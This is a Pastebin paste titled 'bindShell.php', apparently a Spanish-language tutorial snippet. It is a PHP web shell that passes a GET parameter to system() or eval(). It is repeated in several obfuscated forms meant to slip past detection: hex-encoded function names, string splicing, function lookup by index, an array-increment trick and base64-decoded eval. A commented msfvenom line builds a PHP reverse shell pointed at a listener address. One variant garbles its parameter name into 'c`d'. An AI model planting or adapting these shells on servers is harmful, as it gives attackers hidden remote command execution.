Ivam3

bindShell.php

Oct 19th, 2021
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.42 KB | None | 0 0
  1. <?php
  2.        system($_GET['cmd']);
  3.        system/*subscribete*/($_GET['cmd']);// y comparte
  4.        (sy).(st).(em)($_GET['cmd']);
  5.  
  6. // echo -n "system"|od -A n -t x1 // convierte a hexadecimal
  7.        "\x73\x79\x73\x74\x65\x6d"($_GET['cmd']);
  8.        (("\x73\x79").("\x73\x74").("\x65\x6d"))($_GET['cmd']);
  9.        (("\x73\x79").("\x73\x74").("\x65\x6d"))($_GET['\x63\x6d\x64']);
  10.  
  11. // obtener un listado de funciones del servidor
  12.        var_dump(get_defined_functions()['internal']);
  13.        var_dump(get_defined_functions()['internal'][1269]);
  14.        get_defined_functions()['internal'][1269]($_GET['cmd']);
  15.        "\x67\x65\x74\x5f\x64\x65\x66\x69\x6e\x65\x64\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73"()['internal'][1269]($_GET['cmd']);
  16.        (("\x67\x65\x74\x5f\x64\x65").("\x66\x69\x6e\x65\x64\x5f").("\x66\x75").("\x6e\x63\x74\x69\x6f\x6e\x73"))()['internal'][1269]($_GET['cmd']);
  17.  
  18. // ofuscacion por array
  19.        $_ = array("r","x","r","s","d","l");
  20.        for ($__=0; $__ < sizeof($_); $__++) {
  21.                $_[$__]++;
  22.        }
  23.        $s=$_[0].$_[1].$_[2].$_[3].$_[4].$_[5];
  24.        $s($_GET["\x63\x60\x64"]);
  25.  
  26. // ofuscado con base64 y eval
  27.        eval($_GET["code"]); // ?code=system("ls -l");
  28.        eval(base64_decode($_GET["code"]));// ?code=c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=uname -a
  29.        // echo "c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg=="|base64 -d
  30.        // msfvenom -p php/reverse_php LHOST=192.168.1.67 LPORT=4546 -b "*"
  31. ?>
Add Comment
Please, Sign In to add comment